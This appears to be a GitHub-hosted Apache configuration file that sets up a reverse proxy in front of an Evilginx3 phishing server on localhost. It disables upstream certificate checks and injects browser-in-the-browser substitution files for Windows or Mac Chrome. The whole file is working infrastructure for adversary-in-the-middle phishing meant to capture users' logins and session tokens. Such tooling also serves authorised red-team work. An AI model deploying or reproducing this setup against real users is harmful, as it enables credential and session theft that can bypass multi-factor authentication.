-
Notifications
You must be signed in to change notification settings - Fork 46
/
000-default.conf
106 lines (77 loc) · 2.9 KB
/
000-default.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# LOCATION: /etc/apache2/sites-available/000-default.conf
Define certsPathDir /etc/ssl/localcerts/
Define domain fake.com
<VirtualHost *:443>
ServerName subdomains.${domain}
ServerAlias *.${domain}
SSLEngine on
SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
ProxyPreserveHost On
Alias /primary /var/www/primary
<Directory /var/www/primary>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
ProxyPass /primary !
Alias /secondary /var/www/secondary
<Directory /var/www/secondary>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
ProxyPass /secondary !
ProxyPass / https://127.0.0.1:8443/
ProxyPassReverse / https://127.0.0.1:8443/
# Enable output buffering and content substitution
SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE
# Substitutions (excluding /primary, /secondary, and /)
<LocationMatch "^/(?!secondary|primary|($|\?))">
# Uncomment the one you want and remeber to restart apache after any changes:
Include /etc/apache2/custom-subs/win-chrome.conf
# Include /etc/apache2/custom-subs/mac-chrome.conf
</LocationMatch>
# Substitutions only for base URL, only apply subs on /?auth=2
<LocationMatch "^/$">
<If "%{QUERY_STRING} =~ /auth=2/">
# Uncomment the one you want and remeber to restart apache after any changes:
Include /etc/apache2/custom-subs/win-chrome.conf
# Include /etc/apache2/custom-subs/mac-chrome.conf
</If>
</LocationMatch>
# Caching behavior (helps make the BITB effect way smoother between redirects)
<IfModule mod_headers.c>
<FilesMatch ".+">
Header set Cache-Control "max-age=3600, public"
</FilesMatch>
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
</VirtualHost>
# Handle Base Domain separately
<VirtualHost *:443>
ServerName ${domain}
SSLEngine on
SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
ProxyPreserveHost On
DocumentRoot /var/www/home
<Directory /var/www/home>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
</VirtualHost>